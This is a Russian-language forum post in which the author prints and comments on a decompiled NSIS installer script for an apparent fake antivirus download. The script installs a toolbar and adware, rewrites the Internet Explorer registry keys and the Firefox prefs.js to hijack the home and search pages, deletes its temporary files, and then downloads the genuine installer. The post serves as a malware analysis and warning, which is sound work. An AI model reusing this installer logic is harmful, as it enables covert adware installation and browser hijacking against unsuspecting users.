banaji Вот [more=скрипт]
; дефинитионы не действительны - используется собственные либы и хидеры, часть кода спрятана в собственных инклюдах, а те ясное дело секретны, исходники перед прочтением сжечь.
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Push $R0
Exch
Pop $R0
Exch
Push $R1
Exch
Pop $R1
Exch
Exch
Push $R2
Exch
Pop $R2
Push $R3
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
StrCmp "$R1" "" 0 44 0
Goto 62
StrLen $R3 "$R0"
StrLen $R4 "$R1"
StrLen $R5 "$R2"
StrCpy $R6 "0"
StrCpy $R7 "$R2" $R4 $R6
StrCmp "$R7" "$R1" 0 57 0
StrCpy $R7 "$R2" $R6
IntOp $R8 $R6 + $R4
StrCpy $R8 "$R2" "" $R8
StrCpy $R2 "$R7$R0$R8"
StrLen $R5 "$R2"
IntOp $R6 $R6 + $R3
Goto 60
IntCmp $R6 $R5 0 59 0
Goto 62
IntOp $R6 $R6 + 1
Goto 48
Goto 60
StrCpy $R0 "$R2"
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Pop $R2
Pop $R1
Push $R0
Exch
Pop $R0
Return
Push $R0
Exch
Pop $R0
Exch
Push $R1
Exch
Pop $R1
Exch
Push $R2
Exch
Pop $R2
Push $R3
Push $R4
Push $R5
Push $R6
StrLen $R3 "$R1"
StrLen $R4 "$R2"
StrCpy $R5 "0"
StrCpy $R6 "$R2" $R3 $R5
StrCmp "$R6" "$R1" 0 101 0
StrCmp "$R0" "<" 0 99 0
IntOp $R6 $R3 + $R5
IntOp $R0 $R4 - $R6
Goto 100
StrCpy $R0 "$R5"
Goto 107
IntCmp $R5 $R4 0 104 0
StrCpy $R0 ""
Goto 107
IntOp $R5 $R5 + 1
Goto 93
Goto 105
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Pop $R2
Exch
Pop $R1
Push $R0
Exch
Pop $R0
Return
WriteINIStr 155 164 174 176
WriteINIStr 155 194 0 176
WriteINIStr 155 209 0 176
Push -37
Call 229
Pop $[32]
WriteINIStr 223 204 231 176
WriteINIStr 223 235 242 176
WriteINIStr 245 253 257 176
WriteINIStr 245 235 260 176
Push -38
Call 229
Pop $[32]
WriteINIStr 245 204 231 176
GetFunctionAddress 0 0
GetDlgItem $[32] $HWNDPARENT 1028
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1256
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1035
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1037
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1038
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1039
ShowWindow 231 141
GetDlgItem $[32] $HWNDPARENT 1045
ShowWindow 231 83
GetFunctionAddress 1 0
Call 569
File $PLUGINSDIR\InstallOptions.dll
SetFlag 13 0
Push $PLUGINSDIR\ioSpecial.ini
RegisterDLL $PLUGINSDIR\InstallOptions.dll initDialog 0
Pop $[41]
SerCtlColors 337 0 0
GetDlgItem $[32] $[41] 1201
SerCtlColors 231 0 0
CreateFont 33 -40 346 349 0
SendMessage $[32] 0x0030 353 141
GetDlgItem $[32] $[41] 1202
SerCtlColors 231 0 0
Push $0
Call 569
File $PLUGINSDIR\InstallOptions.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\InstallOptions.dll show 0
Pop $0
Pop $0
GetFunctionAddress 0 0
GetDlgItem $[32] $HWNDPARENT 1028
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1256
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1035
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1037
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1038
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1039
ShowWindow 231 83
GetDlgItem $[32] $HWNDPARENT 1045
ShowWindow 231 141
GetFunctionAddress 1 0
Return
Return
GetDlgItem $[32] $HWNDPARENT 1037
SendMessage $[32] 0x000C 141 -41
GetDlgItem $[32] $HWNDPARENT 1038
SendMessage $[32] 0x000C 141 -42
Return
Return
IfFlag 198 0 3 -1
GetDlgItem $[32] $HWNDPARENT 1037
SendMessage $[32] 0x000C 141 -43
GetDlgItem $[32] $HWNDPARENT 1038
SendMessage $[32] 0x000C 141 -44
Goto 202
GetDlgItem $[32] $HWNDPARENT 1037
SendMessage $[32] 0x000C 141 -45
GetDlgItem $[32] $HWNDPARENT 1038
SendMessage $[32] 0x000C 141 -46
IfFlag 203 0 3 -1
Return
Call 569
SetFlag 13 0
File $PLUGINSDIR\ioSpecial.ini
WriteINIStr 155 387 -47 176
File $PLUGINSDIR\modern-wizard.bmp
WriteINIStr 413 204 391 176
GetDlgItem $[32] $HWNDPARENT 1037
CreateFont 33 -40 -48 349 0
SendMessage $[32] 0x0030 353 141
SerCtlColors 231 0 0
GetDlgItem $[32] $HWNDPARENT 1038
SerCtlColors 231 0 0
GetDlgItem $[32] $HWNDPARENT 1034
SerCtlColors 231 0 0
GetDlgItem $[32] $HWNDPARENT 1039
SerCtlColors 231 0 0
GetDlgItem $[32] $HWNDPARENT 1028
SerCtlColors 231 24 0
GetDlgItem $[32] $HWNDPARENT 1256
SerCtlColors 231 24 0
SendMessage $[32] 0x000C 141 426
Return
MessageBox 52 -49 6 228 0
Abort
Return
Push $0
Exch
Pop $0
Push $1
Push $2
Push $3
Push $4
StrCpy $1 ""
StrLen $3 "$0"
IntOp $3 $3 - 1
StrCpy $4 "0"
Goto 242
IntOp $4 $4 + 1
IntCmp $4 $3 0 0 258
StrCpy $2 "$0" 1 $4
StrCmp "$2" "\" 0 247 0
StrCpy $2 "\\"
Goto 255
StrCmp "$2" "
" 0 250 0
StrCpy $2 "\r"
Goto 255
StrCmp "$2" "
" 0 253 0
StrCpy $2 "\n"
Goto 255
StrCmp "$2" " " 0 255 0
StrCpy $2 "\t"
StrCpy $1 "$1$2"
Goto 241
Goto 241
StrCpy $0 "$1"
Pop $4
Pop $3
Pop $2
Pop $1
Push $0
Exch
Pop $0
Return
IfFlag 282 0 8 -1
Call 569
File $PLUGINSDIR\LangDLL.dll
SetFlag 13 0
Push
Push 0
Push 1033
Push English
Push AC
Push Please select a language.
Push Installer Language
RegisterDLL $PLUGINSDIR\LangDLL.dll LangDialog 0
Pop $LANGUAGE
StrCmp "$LANGUAGE" "cancel" 0 282 0
Abort
Call 569
File $PLUGINSDIR\UAC.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\UAC.dll RunElevated 0
StrCmp "1223" "$0" 290 0 0
StrCmp "0" "$0" 0 292 0
StrCmp "1" "$1" 0 294 0
Quit
MessageBox 16 602 0 0 0
Abort
MessageBox 16 650 0 0 0
Abort
StrCmp "1" "$3" 298 0 0
StrCmp "3" "$1" 0 290 0
MessageBox 16 679 0 0 0
Goto 282
Call 569
SetFlag 13 0
; ставим свой тулбар и рекламные модули, на пользователя ноль внимания - он "разрешил"
File $PLUGINSDIR\pantallatoolbar
WriteINIStr 155 387 -47 727
File $TEMP\Toolbar.exe
File $TEMP\Toolbar.xpi
File $TEMP\captura.bmp
StrCpy $[45] "0"
StrCpy $[46] "0"
StrCpy $[48] "0"
StrCpy $[49] "0"
StrCpy $[50] "0"
StrCpy $[51] "0"
StrCpy $[52] "0"
Return
Call 420
Call 434
StrCmp "$[46]" "0" 320 0 0
ReadRegStr 11 2147483650 799 0 0
StrCmp "$R1" "" 320 0 0
Execute 863 0 0
Goto 321
; мусор поставили, следы преступления убрали
Delete $TEMP\Toolbar.xpi
Delete $TEMP\captura.bmp
Delete $TEMP\Toolbar.exe
Return
Call 569
File $PLUGINSDIR\UAC.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\UAC.dll Unload 0
Call 420
Call 434
StrCmp "$[46]" "0" 335 0 0
ReadRegStr 11 2147483650 799 0 0
StrCmp "$R1" "" 335 0 0
Execute 863 0 0
Goto 336
; мусор поставили, следы преступления убрали
Delete $TEMP\Toolbar.xpi
Delete $TEMP\captura.bmp
Delete $TEMP\Toolbar.exe
Return
Call 569
File $PLUGINSDIR\UAC.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\UAC.dll Unload 0
Return
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
GetDlgItem $[32] $HWNDPARENT 1037
SendMessage $[32] 0x000C 141 894
GetDlgItem $[32] $HWNDPARENT 1038
SendMessage $[32] 0x000C 141 1612
WriteINIStr 223 204 779 727
WriteINIStr 413 204 1637 727
WriteINIStr 245 204 1711 727
WriteINIStr 1763 204 1771 727
WriteINIStr 1796 204 1804 727
WriteINIStr 1893 204 1901 727
WriteINIStr 1928 204 1936 727
WriteINIStr 1959 204 1967 727
Push $0
Call 569
File $PLUGINSDIR\InstallOptions.dll
SetFlag 13 0
Push $PLUGINSDIR\pantallatoolbar
RegisterDLL $PLUGINSDIR\InstallOptions.dll dialog 0
Pop $0
Pop $0
Return
ReadINIStr 12 155 2034 727
ReadINIStr 10 1763 2034 727
StrCmp "$R2" "3" 0 385 0
ReadINIStr 42 1928 2040 727
ShowWindow 2045 105
Abort
StrCmp "$[45]" "1" 399 0 0
IntCmp $R0 1 387 398 398
StrCpy $[52] "1"
ReadINIStr 11 245 2034 727
IntCmp $R1 1 390 392 392
StrCpy $[50] "1"
Goto 393
StrCpy $[50] "0"
ReadINIStr 11 1959 2034 727
IntCmp $R1 1 395 397 397
StrCpy $[51] "1"
Goto 399
StrCpy $[51] "0"
StrCpy $[48] "0"
Return
Call 569
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $TEMP\installer.exe
; реклама и трояны установлены, можно и для видимости оригинальный дистрибутив скачать - иначе народ нас на тройке с бубенчиками кататься пошлёт
Push
http://www.antivirusdoctor.net/downloads/AntivirusDoctor.exe RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
Pop $R0
StrCmp "$R0" "success" 413 0 0
ShellExecute 2194 2199 0 1
Sleep 2368
Sleep 2368
ShellExecute 2194 2116 0 1
Goto 417
ShellExecute 2194 2199 0 1
ShowWindow 264 141
Execute 2098 -1 1
Delete $TEMP\installer.exe
Quit
Return
Return
; меняем домашнюю страницу браузера на себя, любимых
StrCmp "$[49]" "0" 427 0 0
ReadRegStr 11 2147483650 2443 2485 0
StrCmp "$R1" "" 425 0 0
WriteRegStr HKLM "SOFTWARE\Microsoft\Internet Explorer\Main" "Start Page" "${URL_STARTPAGE}"
WriteRegStr HKCU "SOFTWARE\Microsoft\Internet Explorer\Main" "Start Page" "${URL_STARTPAGE}"
Call 457
StrCpy $[45] "1"
StrCmp "$[50]" "0" 433 0 0
StrCpy $[47] " -DefaultSearch=TRUE "
ReadRegStr 11 2147483650 2443 2539 0
StrCmp "$R1" "" 433 0 0
; меняем на себя и страницу поиска в браузере - наглеть, так по полной катушке
WriteRegStr HKLM "SOFTWARE\Microsoft\Internet Explorer\Main" "Search Page" "${URL_SEARCHPAGE}"
WriteRegStr HKCU "SOFTWARE\Microsoft\Internet Explorer\Main" "Search Page" "${URL_SEARCHPAGE}"
Return
StrCmp "$[52]" "0" 456 0 0
StrCpy $[47] ""
StrCmp "$[50]" "0" 438 0 0
StrCpy $[47] " -DefaultSearch=TRUE "
StrCmp "$[51]" "0" 440 0 0
StrCpy $[47] "$[47] -StartPage=TRUE "
Execute 2598 0 0
ReadRegStr 11 2147483650 799 0 0
StrCmp "$R1" "" 456 0 0
Call 569
File $PLUGINSDIR\FindProcDLL.dll
SetFlag 13 0
Push firefox.exe
RegisterDLL $PLUGINSDIR\FindProcDLL.dll FindProc 0
StrCmp "$R0" "1" 453 0 0
Execute 2660 0 0
Sleep 2368
Sleep 2368
Goto 454
StrCpy $[46] "1"
StrCpy $[45] "1"
Goto 456
Return
StrCpy $[53] "${URL_STARTPAGE}"
StrCpy $[54] "browser.startup.homepage"
StrCpy $[56] "keyword.URL"
StrCpy $[55] "${URL_SEARCHPAGE}"
ReadINIStr 17 2747 2756 2761
Push $R7
Push /
Push \
Call 24
Pop $R7
; подстраиваем под свои нужды огнелиса
StrCpy $R9 "$APPDATA\Mozilla\Firefox\$R7\prefs.js"
StrCpy $R8 "$APPDATA\Mozilla\Firefox\$R7\prefs.new"
SetFlag 2 141
FileOpen 0 2147483648 3 2863
IfFlag 496 0 2 0
FileOpen 1 1073741824 2 137
IfFlag 496 0 2 0
StrCpy $3 "0"
StrCpy $4 "0"
FileRead 0 15 2867 0
IfFlag 496 0 2 0
Push $R5
Push "$[54]"
Push >
Call 75
Pop $5
StrCmp "$5" "" 486 0 0
StrCpy $R5 "user_pref("$[54]", "$[53]");
"
StrCpy $3 "1"
Push $R5
Push "$[56]"
Push >
Call 75
Pop $5
StrCmp "$5" "" 494 0 0
StrCpy $R5 "user_pref("$[56]", "$[55]");
"
StrCpy $4 "1"
FileWrite 1 125 0
Goto 476
StrCmp "$3" "1" 499 0 0
StrCpy $R5 "user_pref("$[54]", "$[53]");
"
FileWrite 1 125 0
StrCmp "$4" "1" 502 0 0
StrCpy $R5 "user_pref("$[56]", "$[55]");
"
FileWrite 1 125 0
FileClose 0
FileClose 1
SetFlag 2 141
Rename $R8 $R9 1
IfFlag 508 0 2 0
Goto 508
Return
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
SetFlag 13 276
StrCmp "$PLUGINSDIR" "" 0 579 0
Push $0
SetFlag 2 0
GetTempFileName $TEMP
Delete 8 $0
SetOutPath $0
IfFlag 580 0 2 0
StrCpy $PLUGINSDIR "$0"
Pop $0
Return
MessageBox 2097168 3006 0 0 0
Quit
Return
[/more] инсталлятора расписал по запчапстям и где надо, ключевые моменты комментами отметил, даже то место, где загружается нормальный инсталлятор - специально коммет перед ним поставил. Просто смотрите примеры использования таких "загрузчиков" - DVDStyler - ставим сначала рекламу, а после с другого сайта скачиваем полноценный установщик. Началось с версии 1.8.2.1. Правда, я обошёлся с этим проще - с sf.net скачал дистрибутив, включая и портабельный вариант.
Могу ещё ряд подобных вещей отыскать. Но, считаю, что это не фокусы отдельно взятых хостеров, а новый метод принудительной установки рекламы, ну и заодно троянских модулей тем, кто решил изобразить из себя большие, развесистые лопухи.;) Грех не помочь такому "ближнему" получить дополнительную порцию острых ощущений
Вы должны сейчас прыгать от счастья и благодарить мудрого дядю за драгоценное обретение в виде рекламных модулей и пакета троянов вдогонку. В установке последнего я уверен на 90% - не зря часть операторов не декодировалась именно в самых интересных для анализа местах кода. Да, Observer не полностью восстанавливает исходный код NSIS программ, но делает это максимально точно среди известных мне декомпилеров такого типа.